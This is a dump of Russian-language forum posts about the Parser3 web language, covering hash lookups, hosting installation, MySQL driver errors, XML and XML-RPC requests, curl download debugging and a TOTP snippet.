 4:{ UID:D, UUID:DD, UUID16:D1},\
}\
[/code]\
ИЛИ\
[code]\
{ \
 1:{ID:1, UID:A, UUID:AA, UUID16:A1},\
 2:{ID:2, UID:B, UUID:BB, UUID16:B1},\
 3:{ID:3, UID:C, UUID:CC, UUID16:C1},\
 4:{ID:4, UID:D, UUID:DD, UUID16:D1},\
\
}\
[/code]\
\
не соображу как узнать с каким ID будет UUID = CC"
"79670","перефразирую:\
\
1) как получить из json структуру типа table?\
ИЛИ\
2) как сделать поиск по hash структуре типа?\
\
таблица:\
[code]\
ID | UID | UUID | UUID16\
 1 |   A |   AA |     A1\
 2 |   B |   BB |     B1\
 3 |   C |   CC |     C1\
 4 |   D |   DD |     D1\
[/code]\
\
после table -> json -> hash\
\
получаем:\
[code]\
{ \
 1:{ UID:A, UUID:AA, UUID16:A1},\
 2:{ UID:B, UUID:BB, UUID16:B1},\
 3:{ UID:C, UUID:CC, UUID16:C1},\
 4:{ UID:D, UUID:DD, UUID16:D1},\
}\
[/code]\
ИЛИ\
[code]\
{ \
 1:{ID:1, UID:A, UUID:AA, UUID16:A1},\
 2:{ID:2, UID:B, UUID:BB, UUID16:B1},\
 3:{ID:3, UID:C, UUID:CC, UUID16:C1},\
 4:{ID:4, UID:D, UUID:DD, UUID16:D1},\
\
}\
[/code]\
\
не соображу как узнать с каким ID будет UUID = CC"
"79671","[code]$t[^table::create{ID	UID	UUID	UUID16\
1	A	AA	A1\
2	B	BB	B1\
3	C	CC	C1\
4	D	DD	D1}]\
$j[^json:string[$t]]\
$h[^json:parse[$j]]\
\
$h2[^hash::create[]]\
^h.foreach[;item]{\
	$h2.[$item.UUID][$item.ID]\
}\
\
$h2.CC[/code]"
"79673","получается для общего случая (данные нужны не один раз):\
\
[code]\
^h.foreach[;item]{\
	$h2.[$item.UID][$item.ID]\
	$h2.[$item.UUID][$item.ID]\
	$h2.[$item.UUID16][$item.ID]\
}\
[/code]\
\
но тут вдруг выяснилось, что UID и UUID16 - имеют пересекающиеся данные.\
сделал так: (но вызывет сумления)\
[code]\
\
@init[]\
  $h[^memcache_get[Concordance]]\
\
  $hUID[^hash::create[]]\
  $hUUID[^hash::create[]]\
  $hUUID16[^hash::create[]]\
\
  ^h.foreach[;item]{\
	$hUID.[$item.UID][$item.ID]\
	$hUUID.[$item.UUID][$item.ID]\
	$hUUID16.[$item.UUID16][$item.ID]\
  }\
\
@get_IDbyUID[lUID]\
  $result[$hUID.$lUID]\
\
@get_IDbyUUID[lUUID]\
  $result[$hUID.$lUUID]\
\
@get_IDbyUUID16[lUUID16]\
  $result[$hUID.$lUUID16]\
[/code]"
"79674","То, что вы описываете — это типичная задача для базы данных, а не для Парсера."
"79675","сопряжены большие БД на MSSQL, MySQL, непонятная поделка под DRDOS, непонятная поделка под NetWare и совсем интересная поделка которая позволяет получать данные из БЭМ-8 (очень древняя и интересная штука)\
\
вновь генерируемые (свежие) данные складываются только в MySQL,\
а куча архивных данных (ну нет возможности \"просто перегнать\", особенно из БЭМ-8) нужны только для отчетов, статистики и другой аналитической пурги :)\
\
а данная таблица почти статична используется кучу раз в секунду и поэтому лежит в мемкешеде"
"79676","Я подозреваю, что запросы к БД будут, мягко говоря, не медленнее, чем разбор json'а, построение в памяти структуры для поиска и обработки всего этого Парсером."
"79677","MySQL на нашем случае - GaleraDB\
ну и в БД льется примерно 3-4 тыс записей в секунду в пик и около тыс записей в нормальном режиме.\
\
периодически наиболее востребованные данные для аналитиков переносятся в мемкешед"
"79678","Не так уж и много запросов. Но если очень хочется хранить в мемкешеде, то почему туда положить не json, а csv-таблицу (без энклозера), которая прекрасно считывается через ^table::create{} сразу в нужный вид. Если нужно делать лукапы, то таблицу можно всегда преобразовать в хеш по нужному полю (или нескольким полям, сделав ключ), сделать хеш таблиц и т.д."
"79680","Я тоже новичок, и вот решил помочь таким же как и я. ))\
Короче говоря, ребята, у меня была наитупейшая ошибка в 1 уроке.\
Всё делал по инструкции, а в браузере выходит\
^navigation[]\
\
я проверил всё что можно, о чем в это форуме написано. \
- а именно убрал все пробелы в файлах, \
- перепроверил тут всё http://www.denwer.ru/base.html\
- создал дерективы для Денвера как написано тут http://localhost/Tests/parser3/index.html\
\
и всё равно не работает.\
\
короче говоря,оказалось что при создании .htaccess\
файл сохранялся в формате .txt, т.е. получалось .htaccess.txt\
а в винде расширение не показывает у меня, вот я и тупил\
\
поэтому ни чего и не цеплялось к парсеру получается\
\
вот такая детская ошибка! )\
ещё раз. при создании .htaccess проверяйте расширение.\
\
Удачи."
"79681","[code]\
$h[\
	^if(true){$.a[b]}\
	^if(true){$.c[d]}\
]\
[/code]\
\
в данном фрагменте (он аналогичен второму твоему примеру) происходит условное создание элементов хэша. т.е. метод (у меня if, у тебя h или rehash) должен вернуть не хэш, а его \"кусочек\".\
\
очевидно, что данный фрагмент отличается от следующего:\
[code]\
$h[\
	^if(true){^hash::create[$.a[b]]}\
	^if(true){^hash::create[$.c[d]]}\
]\
[/code]\
и из последнего фрагмента должна стать понятна причина ошибки hash may not be overwritten with hash."
"79682","[code]@main[]\
$h[\
	$.1[$.name[a]]\
	$.3[$.name[b]]\
	$.4[$.name[c]]\
]\
$h2[^rehash[$h;k;v]{\
	$.[$v.name][$k]\
}]\
\
[$h2.a]\
\
@rehash[hash;key;value;code]\
$result[^hash.foreach[k;v]{\
	$caller.$key[$k]\
	$caller.$value[$v]\
\
	$code\
}][/code] — работает.\
\
Спасибо."
"79683","Добрый день, всем кто прочитает данный топик!\
\
Возникла необходимость соединить parser и php и выполнять в одном файле и конструкции языка parser, и конструкции языка php.\
На сколько мне известно, php прописывается в специальных обромлениях (<?php Код ?>), что как мне кажется дает возможность выполнять и parser и php сценарии.\
Уважаемые люди помогите пожалуйста!!!\
Заранее всем спасибо!!!"
"79684","Но есть варианты для специфических ситуаций, когда без php никак. Например, http://www.parser.ru/forum/?id=33412"
"79685","Не хочу плодить темы, с вашего позволения задам здесь:\
можно ли в конструкцию ^usePHP[file] добавить параметр ^usePHP[file;param]? И как потом этот param отследить?"
"79686","Собственно, нужно передать XML через POST.\
Не пойму как собрать и передать XML"
"79687","По сути есть два варианта:\
— сформировать xml на сервере, запихнуть его в форму и отправить из браузера;\
— сформировать xml, отправить его на другой сервер через file::load и разобрать ответ на стороне сервера в Парсере.\
\
Оба варианта тривиальные. В первом случае мы просто генерируем html-код и нужно будет разобраться с таинтингом (хорошеее описание есть в документации и в разделе «Примеры»). Во втором случае все тоже не сложно и описано в доке.\
\
Расскажите задачу и покажите что вы делаете и с какими проблемами сталкиваетесь."
"79689","Мне нужно отправить на сервер xml:\
\
[code]\
<SMS>    \
 <operations>     \
   <operation>SEND</operation>    \
 </operations>    \
 <authentification>       \
   <username>user</username>      \
   <password>pwd</password>      \
 </authentification>      \
 <message>    \
   <sender></sender>      \
   <text></text>      \
 </message>       \
 <numbers>    \
   <number></number>      \
   <number></number>      \
 </numbers>       \
</SMS>\
[/code]\
\
user и pwd берутся из <input>.\
\
Под конец недели башка уже не варит."
"79690","[code]\
$f[^file::load[text;http://gate.sms.dor;\
  $.method[post]\
  $.body[\
<SMS>    \
 <operations>     \
   <operation>SEND</operation>    \
 </operations>    \
 <authentification>       \
   <username>^taint[xml][$form:user]</username>      \
   <password>^taint[xml][$form:pwd]</password>      \
 </authentification>      \
 <message>    \
   <sender></sender>      \
   <text></text>      \
 </message>       \
 <numbers>    \
   <number></number>      \
   <number></number>      \
 </numbers>       \
</SMS>\
  ]\
]]\
[/code]\
\
Дальше читайте доку — там про file::load подробно написано."
"79692","Обновил parser у хостера, выставил права, результат таков - libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory.\
Операционная система Linux 2.6, parser брал сдесь(для 32-битной ОС, версия gcc до 3.0) parser3_4_3_redhat73.tar.gz\
\
Помогите, заранее благодарен!"
"79693","[quote]Операционная система Linux 2.6[/quote]\
\
Это версия ядра, а операционная система - это конкретное название дистрибутива (включая битность, которую впрочем можно узнать из uname -a). Узнаете дистрибутив - подскажем более подходящую бинарную сборку парсера."
"79694","undefined protocol 'mysql'\
ошибку выводит \
\
в auto.p  написано \
@auto[] \
$connect_string[mysql://root@localhost/p3test] \
\
index.html \
\
<center> \
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br /> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
#начало обработки \
^if(def $form:date && def $form:header && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …сообщение добавлено \
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
} \
</center>"
"79696","[b]auto.p[/b] - тот что лежит в cgi-bin рядом с исполняемым файлом parser3.exe\
\
[code]$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll[/code]\
...\
\
P.S. а почему в архиве под win только sqlite по умолчанию расскомментирован? Как наиболее часто используемый?"
"79698","driver failed to initialize client library 'Z:\\home\\cgi-glob/libmySQL.dll'"
"79702","driver failed to initialize client library 'Z:\\home\\cgi-glob/libmySQL.dll', &#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;."
"79703","надо в само cgi-glob добавить спасибо вам"
"79705","Точнее libparser3mysql.so, а то этот [url=\"http://www.parser.ru/f/1/download/parser343/parser3_4_3_redhat73.tar.gz\"]parser3_4_3_redhat73.tar.gz[/url] говорит \"libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory\"...сам то парser работает."
"79707","К своему сожалению и стыду,...не имею даже представления как это сделать."
"79709","Требуется получить актуальные курсы валют, был выбран сервис http://kurs.com.ua/informer/api\
Но увы я первый раз сталкиваюсь с XML-RPC и в упор не могу понять как правильно сделать запрос\
[code]	$_file[\
		^file::load[text;http://kurs.com.ua/xmlrpc_server;\
			$.headers[\
				$.timeout(5)\
				$.method[POST] \
				$.Content-Type[text/xml]\
				$.body[<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
					<methodCall>\
					<methodName>get_cities</methodName>\
					<params><struct>\
					   <member>\
					     <name>guest</name>\
					   </member>\
					 </struct></params>\
					</methodCall>\
				]\
			]\
		]\
	]\
	<pre>$_file.text</pre>[/code]\
Так ругается на XML error: Invalid document end at line 1\
Если же воспользоваться сервисом http://gggeek.altervista.org/sw/xmlrpc/debugger/\
То там уже ошибки к самим параметрам. The XML data received was either invalid or not in the correct form for XML-RPC.  Turn on debugging to examine the XML data further.\
В общем не могу понять, что во что завернуть надо ).\
Пробовал уже по разному, все равно везде ошибка идет."
"79710","[code]$_file[\
		^file::load[text;http://kurs.com.ua/xmlrpc_server:80;\
			$.headers[\
				$.timeout(5)\
				$.method[POST] \
				$.Content-Type[text/xml]\
				$.body[<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
					<methodCall>\
					<methodName>get_cities</methodName>\
					<params><param><struct>\
					  <string>guest</string>\
					 </struct></param></params>\
					</methodCall>\
				]\
			]\
		]\
	][/code]"
"79711","Все таки правильно \
[code]					<params>\
						<param>\
							<value>guest</value>\
						</param>\
					</params>[/code]\
И такое тело работает на тестовом сервере, но вот почему-то в парселе ругается XML error: Invalid document end at line 1.\
Не могу понять почему, первая строка вроде бы правильная."
"79712","[code]$_file[\
		^file::load[text;http://kurs.com.ua/xmlrpc_server;\
			$.headers[\
				$.timeout(5)\
				$.method[POST] \
				$.Content-Type[text/xml]\
			]\
                        $.method[POST]\
			$.body[<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
					<methodCall>\
					<methodName>get_cities</methodName>\
					<params>\
						<param>\
								<value>\
									<string>guest</string>\
								</value>\
						</param>\
					</params>\
			</methodCall>]\
		]\
][/code]\
\
в ответ получаем:\
\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<methodResponse>\
<params>\
<param>\
<value>\
<string>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;\
&lt;cities&gt;&lt;city name=&quot;Украина&quot; translit=&quot;all&quot;/&gt;&lt;city name=&quot;Александрия&quot; translit=&quot;aleksandriya&quot;/&gt;...&lt;/cities&gt;\
</string>\
</value>\
</param>\
</params>\
</methodResponse>[/code]"
"79714","В скрипте используется ссылка http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc-7.2d.tar.gz . На данный момент эта ссылка неактуальна - по ней открывается 404 ошибка.\
\
Поэтому собрать не получается. Думаю стоит подправить. А так же подправить баг: http://www.parser.ru/forum/?id=79342\
\
Или собрать бету, там наверное пофиксино многое..."
"79716","Исходники лучше всегда брать из cvs. :)"
"79717","[code]\
2013-12-03 01:13  moko\
* src/classes/file.C: bugfix for\
   http://www.parser.ru/forum/?id=79337\
[/code]"
"79718","\"Правильно\" собранный драйвер mysql для RedHat 7.3 (со статически слинкованной libstdc++) есть в ночных сборках.\
\
http://www.parser.ru/f/1/download/nightly/parser3sql_10_6_redhat73_mysql.tar.gz"
"79719","Fedora Core 5 - редкостный антиквариат:\
\
http://en.wikipedia.org/wiki/Fedora_%28operating_system%29\
\
End-of-life date - 2007-07-02\
\
Но можно еще попробовать версию для CentOS5 из ночных сборок:\
http://www.parser.ru/download/nightly/"
"79720","[quote]В скрипте используется ссылка http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc-7.2d.tar.gz [/quote]\
\
В CVS и в HEAD, и в release_3_4_3 адрес некоторое время как заменен на правильный. Сейчас еще исправил в архиве с исходными кодами, так что по-идее неправильных ссылок в публично доступных местах больше нет. :)\
\
[quote]Или собрать бету, там наверное пофиксино многое...[/quote]\
\
Еженочно в ночных сборках выкладываются бинарники HEAD версии:\
http://www.parser.ru/download/nightly/"
"79722","http://www.parser.ru/forum/?id=79718"
"79724","[code]$f[^pfCFile:load[text;^taint[as-is][http://topwar.ru/uploads/posts/2014-01/1389587069_item_67_1.jpg]; \
	$.timeout(30) \
	$.connecttimeout(30)\
	$.followlocation(100)\
	$.ignore_content_length(100)\
	$.headers[ \
		$.User-Agent[Mozilla/5.0 (Windows NT 6.1^; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36]\
	]\
	$.max-redirs(20)\
	$.autoreferer(100)\
	$.any-status(true)\
]]\
$response:body[$f][/code]\
\
Если URL равен\
http://topwar.ru/uploads/posts/2014-01/1389587069_item_67_1.jpg\
То грузится только часть файла и почему-то всё обрывается ровно на 1-й секунде загрузки: http://clip2net.com/s/74PJK2\
\
Если URL взят вот с этого сайта http://static.prian.ru/, например:\
http://static.prian.ru/uploads/2013_12/5/20131205171226390433530.jpg\
То ошибка такая:\
[code]curl.fail\
load (/XXX/XXX/pfCFile.p - 56 :21)\
Server returned nothing (no headers, no data) [/code]\
\
А из браузера все картинки доступны. Почему не получается - не пойму."
"79725","[code]\
@main[]\
  ^use[/../../hydra-vts.beta/classes/pf/io/pfCFile.p]\
  $f[^pfCFile:load[binary;http://topwar.ru/uploads/posts/2014-01/1389587069_item_67_1.jpg;\
    $.verbose(true)\
    $.stderr[curl.log]\
  ]]\
  ^f.save[binary;t.jpg][/code]\
\
curl.log:\
[code]* Adding handle: conn: 0x801c8b600\
* Adding handle: send: 0\
* Adding handle: recv: 0\
* Curl_addHandleToPipeline: length: 1\
* - Conn 0 (0x801c8b600) send_pipe: 1, recv_pipe: 0\
* About to connect() to topwar.ru port 80 (#0)\
*   Trying 5.187.2.65...\
* Connected to topwar.ru (5.187.2.65) port 80 (#0)\
> GET /uploads/posts/2014-01/1389587069_item_67_1.jpg HTTP/1.1\
Host: topwar.ru\
Accept: */*\
Accept-Encoding: deflate, gzip\
\
< HTTP/1.1 200 OK\
* Server nginx is not blacklisted\
< Server: nginx\
< Date: Mon, 24 Mar 2014 10:19:54 GMT\
< Content-Type: image/jpeg\
< Content-Length: 232179\
< Last-Modified: Mon, 13 Jan 2014 04:23:54 GMT\
< Connection: keep-alive\
< ETag: \"52d36a5a-38af3\"\
< Expires: Wed, 23 Apr 2014 10:19:54 GMT\
< Cache-Control: max-age=2592000\
< Cache-Control: public\
< Accept-Ranges: bytes\
<\
* Connection #0 to host topwar.ru left intact[/code]\
\
В t.jpg у меня оказалась картинка. :)\
\
p.s. Вы не все параметры pfCurl пишете правильно, а некоторый у моего класса вообще нет. :)"
"79726","Благодарю, с тем файлом получилось, а вот с файлом\
http://static.prian.ru/uploads/2012_06/12/201206120314501400429848.jpg\
не получается.\
Пишет \"Server returned nothing (no headers, no data)\""
"79727","... показал, что веб-сервер static.prian.ru разрывает соединение, если в запросе нет поля User-Agent.\
\
Т.е. такой код работает прекрасно:\
[code]@main[]\
  ^use[/../../hydra-vts.beta/classes/pf/io/pfCFile.p]\
  $f[^pfCFile:load[binary;http://static.prian.ru/uploads/2012_06/12/201206120314501400429848.jpg;\
    $.verbose(true)\
    $.stderr[curl.log]\
    $.user-agent[Parser 3]\
  ]]\
  ^f.save[binary;t.jpg][/code]\
\
curl.log[code]\
* Adding handle: conn: 0x801c8b600\
* Adding handle: send: 0\
* Adding handle: recv: 0\
* Curl_addHandleToPipeline: length: 1\
* - Conn 0 (0x801c8b600) send_pipe: 1, recv_pipe: 0\
* About to connect() to static.prian.ru port 80 (#0)\
*   Trying 188.93.21.162...\
* Connected to static.prian.ru (188.93.21.162) port 80 (#0)\
> GET /uploads/2012_06/12/201206120314501400429848.jpg HTTP/1.1\
User-Agent: Parser 3\
Host: static.prian.ru\
Accept: */*\
Accept-Encoding: deflate, gzip\
\
< HTTP/1.1 200 OK\
* Server nginx/0.7.65 is not blacklisted\
< Server: nginx/0.7.65\
< Date: Mon, 24 Mar 2014 12:15:57 GMT\
< Content-Type: image/jpeg\
< Content-Length: 54398\
< Last-Modified: Mon, 11 Jun 2012 23:14:50 GMT\
< Connection: keep-alive\
< Keep-Alive: timeout=20\
< Expires: Mon, 31 Mar 2014 12:15:57 GMT\
< Cache-Control: max-age=604800\
< Last-Modified:: 1395663357\
< Accept-Ranges: bytes\
<\
* Connection #0 to host static.prian.ru left intact[/code]"
"79728","[code]curl.fail\
load (.../pfCFile.p - 56 :21)\
Server returned nothing (no headers, no data) \
IMG: http://static.prian.ru/uploads/2012_06/12/201206120314501400429848.jpg\
CURL: libcurl/7.35.0 OpenSSL/0.9.8o zlib/1.2.3.4\
3.4.3 (compiled on x86_64-unknown-linux-gnu)[/code]\
\
В связи с чем это может быть?"
"79729","Интересуют код и лог. Заодно интересно посмотреть на лог запуска кюрла из консоли на том же сервере."
"79730","[code]curl -A \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36\" -v \"http://static.prian.ru/uploads/2012_06/12/201206120314501400429848.jpg\"[/code]\
\
Получаю ответ:\
[code]Hostname was NOT found in DNS cache\
*   Trying 188.93.21.162...\
* Connected to static.prian.ru (188.93.21.162) port 80 (#0)\
> GET /uploads/2012_06/12/201206120314501400429848.jpg HTTP/1.1\
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36\
> Host: static.prian.ru\
> Accept: */*\
>\
* Empty reply from server\
* Connection #0 to host static.prian.ru left intact\
curl: (52) Empty reply from server\
[/code]\
\
Олег, отписал Вам в почту и скайп"
"79731","curl -v \"http://static.prian.ru/uploads/2012_06/12/201206120314501400429848.jpg\"\
\
p.s. Пока у меня складывается ощущение, что на удаленном веб-сервере какая-то система защиты от ботов стоит. :)\
p.p.s. Интересно посмотреть как ведет себя обычный file::load."
"79732","По ходу стоит защита. При чем, пробую программами различными загрузить картинку - не получается. Браузером - получается!\
Пробовал Fiddler, чтоб сравнить заголовки. Даже если все заголовки одинаковые, все равно почему-то не срабатывают программы. Только браузеры срабатывают.\
\
Что за защита, мне не ясно. И теперь стоит 2-е задачи:\
1. Спарсить картинки (скриптом на сервере - это крайне желательный вариант, а на обычной машине, зенопостером эту защиту обойти можно)\
2. Надо понять защиту и сделать на свой сайт такую же, потому что она оказалась действительно эффективной.\
----\
А у Вас\
[code]curl -v \"http://static.prian.ru/uploads/2012_06/12/201206120314501400429848.jpg\"[/code]\
Срабатывает нормально?"
"79733","Скорее всего ваш айпишник уже занесен в черный список веб сервера. Как обойти защиту или построить аналогичную я не готов обсуждать по этическим соображениям. :)"
"79734","Благодарю, Олег.\
На самом деле странно, потому что я этот IP не использовал нигде. Это сервак, и как так определилось, мне не ясно. Благодарю, Олег, ещё раз. Вы мне очень помогли!"
"79737","[code]\
import time\
import hmac\
import hashlib\
import base64\
\
### TOTP-key (get it from Google)\
secret = base64.b32decode(\"AAABBBCCCDDDEEEG\")\
\
### Calc counter from UNIX time (see RFC6238) \
counter = long(time.time() / 30)\
\
### Use counter as 8 byte array\
bytes=bytearray()\
for i in reversed(range(0, 8)):\
  bytes.insert(0, counter & 0xff)\
  counter >>= 8\
\
### Calculate HMAC-SHA1(secret, counter)\
hs = bytearray(hmac.new(secret, bytes, hashlib.sha1).digest())\
\
### Truncate result (see RFC4226)\
n = hs[-1] & 0xF\
result = (hs[n] << 24 | hs[n+1] << 16 | hs[n+2] << 8 | hs[n+3]) & 0x7fffffff\
\
### Print last 6 digits\
print str(result)[-6:]\
[/code]\
\
Проверил - работает! Вот бы перевести на parser3!!!"
"79740","Парсер из этого не умеет: \
\
1. base32. Можно разово конвертировать ключ в другой формат, например в base64.\
\
2. Нет удобных способов сделать массив байт.\
Можно сделать например ^file::create[00AABB;$.mode[hex]]\
и/или ^f.byte(offset) / ^f.byte(offset;value), позволяющие работать с байтами в двоичных файлах.\
\
3. В HMAC не поддерживается бинарный ключ, только строка.\
\
Альтернативно можно сделать ^math:totp[key]. :)"
"79741","После обновления указанных браузеров перестал открываться раздел [url=\"http://www.parser.ru/docs/lang/\"]http://www.parser.ru/docs/lang/[/url]\
Вернее сам раздел открывается, но меню справа не прогружается. \
\
Судя по всему, такое не только у меня - знаю еще 2х человек с аналогичной проблемой."
"79743","перенесли сайт на другой сервер и перестал работать поиск. \
может у кого-то есть идеи с чем может быть связано?"
"79744","По вашему описанию совершенно непонятно о чем вообще идет речь."
"79745","сайт tverlife.ru\
движок не знаю какой\
в логах ошибок нет"
"79746","И есть очень большие сомнения, что сайт написан на Парсере. :)"
"79747","> И есть очень большие сомнения, что сайт написан на Парсере. :)\
\
Похоже зря сомневаешься. :)\
\
http://tverlife.ru/cgi-bin/parser3.cgi\
\"Parser/3.4.3 (compiled on x86_64-unknown-linux-gnu)\""
"79748","В котором отключена оптимизация по white-space. Но, может быть, разработчики так и задумывали. :)"
"79751","Подскажите правильная ли иерархия для установки парсера на хост? \
\
~/www/name.domen/cgi-bin/parser3.cgi\
~/www/name.domen/cgi-bin/auto.p\
~/www/name.domen/cgi-bin/lib/(файлы папки)\
~/www/name.domen/cgi-bin/charsets/(файлы папки)\
~/www/name.domen/.htaccess\
\
Что-то напутал?"
"79752","большинство компонент вы можете положить там, где вам удобнее. главное правильно указать к ним пути.\
parser3.cgi ищется там, где вы указали его искать в .htaccess (или конфиге сервера).\
конфигурационный auto.p парсер ищет рядом с собой, или в переменной окружения CGI_PARSER_CONFIG (можно задать в настройках веб сервера, но кому охота это делать без веской причины, если конфиг можно просто положить рядом с cgi?)\
пути к sql драйверам и библиотекам берутся из конфигурационного auto.p\
\
та структура файлов/каталогов, которую упомянули вы, она -- типовая для случая, когда document-root сервера указывает в ~/www/name.domen/ и отсутствует доступ выше.\
почему она является типовой? да потому, что такое положение файлов с sql драйверами и библиотеками задано нами в шаблонном конфигурационном auto.p, который можно скачать с сайта."
"79753","Если у вас более расширенный доступ к хостингу, то лучше сделать так\
~/name.domen/cgi-bin/parser3.cgi\
~/name.domen/cgi-bin/auto.p\
~/name.domen/cgi-bin/lib/(файлы папки)\
~/name.domen/cgi-bin/charsets/(файлы папки)\
~/name.domen/www/.htaccess\
Где www рутовая директория домена, просто более безопасно )\
Ну также, за пределами www хранить все классы.\
К сожалению многие панели на хостинга делаю наоборот\
~/www/name.domen\
Для одного домена вполне пойдет, а вот если их несколько, то получится уже какая-то каша, особенно с временными файлами и кешами, которые почти всегда лежат за пределами www"
"79754","пришлось искать ошибку и менять конфиг в странном месте:\
[code]\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
#mysql	$sqldriversdir/parser3mysql.dll	$confdir/libmySQL.dll\
[/code]"
"79756","У меня возникла проблема с установкой парсела на данный хостинг... Я у их попросил установить мне данное ПО на хост, вот что они ответили: \
\
[quote]В данном разделе есть версия \"для 64-битной ОС CentOS, RedHat\", Вам нужно использовать ее:\
http://www.parser.ru/download/linux/\
\
Проблема в том, что при работе CMS выдает следующую ошибку:\
[Mon Mar 31 12:00:07 2014] [21558] /: '/var/www/error/error_403.html' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/error/error_403.html', fuid(0)!=euid(708) or fgid(0)!=egid(708) [parser.runtime] [uri=/, method=GET, cl=0]\
\
Сборки с опцией \"--disable-safe-mode\" на сайте разработчика не наблюдаем. По этой причине, имеющиеся варианты CMS на сервере работать не будут.[/quote]\
\
Подскажите где можно найти опцию \"--disable-safe-mode\" ???\
\
Спасибо :)"
"79757","... чтобы группа и пользователь совпадали с теми, что они выдали для ваших файлов. Использование grpunlim-версии на виртуальных хостингах крайне плохая практика.\
\
Покажите хостеру ответ на пятый вопрос из http://www.parser.ru/faq/install/. Если они не в состоянии решить эту проблему на своей стороне, то я бы подумал о смене хостера. :)\
\
p.s. Grpunlim-версии собраны и лежат на сайте, но ссылок на них нет на страничке скачивания. http://www.parser.ru/f/1/download/parser343/parser3_4_3_centos6_grpunlim_cgi_xml.tar.gz"
"79758","В приложенном Вами архиве 32-битная сборка, для работы на сервере нужна 64-битная (x86_64) версия.\
\
У нас есть (x86_64) версия? =)))"
"79759","Но ответ хостеров хреновый. Будьте аккуратны со своим кодом."
"79760","Можно ли как то установить парсер, но все установочные файлы закинуть и в другую папку?\
У вас на сайте, как я вижу файл parser3.cgi где то скрыт в других папках... \
\
http://www.parser.ru/cgi-bin/parser3.cgi \
\
Я хотел бы вынести все файлы:\
— auto.p\
— parser3.cgi\
— charsets (папка)\
— lib (папка)\
\
С папки /cgi-bin/ предположим в папку /fuck-the-hackers/ возможно ли  такое? Идея все вынесли в целях безопасности или на безопасность это не как не повлияет?"
"79761","вам-же ответили про иерархию: \
http://www.parser.ru/forum/?id=79753\
\
там каталог с парсером и всем барахлом предлагают поместить выше document root.\
и назвать его можно как угодно, главное чтобы скрипт-алиас, который вы указываете в .htaccess (и который обычно \"cgi-bin\") указывал в созданную вами директорию.\
увы, не на любом хостинге вам позволят это сделать.\
\
P.S. http://www.parser.ru/cgi-bin/parser.parser3.cgi"
"79762","В связи с вступлением Крыма в РФ, подыскиваю нового регистратора.\
В Украине пользовался imena.ua, удобная панель реселлера, цены не ахти, но удобно управлять доменами."
"79763","Цены на ssl-сертификаты у них конские, а все остальное вполне прилично."
"79764","Подскажи, а почему в примеры вызова:\
\
@main[]\
^counter[/[b]news[/b]/[b]index[/b]] а не ^counter[]?"
"79766","Всем привет. Подскажите пожалуйста, на сайте artlebedev.ru в навигации работают три условия или я не правильно понял логику? :) \
\
1. Навигация на главной странице, без активной вкладки.\
т.е.\
[code]@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr></table> \
<br />  [/code]\
\
2. Открывает в кладку \"компания\" получаем активную одну вкладку\
[code] @navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br /> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri [b]eq[/b] $request:uri){ \
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"center\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} [/code]\
3. Когда мы заходим к выше на страницу \"Вакансии\" (вкладка \"компания\" так же остается активной только к ней добавляется уже ссылка. Если идем идем к примеру на страницу \"самой вакансии\" добавляется активность \"Компании\" остается добавляется \"Вакансии\" ссылкой... Т.Е.подскажите какое изначально там должно быть условие? [b]lt[/b] или [b]le[/b]?"
"79767","Сделать проверку на полное соответствие урлу и частичное, при первом делать актив, при втором парент актив."
"79768","[code]^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
	…\
}[/code]"
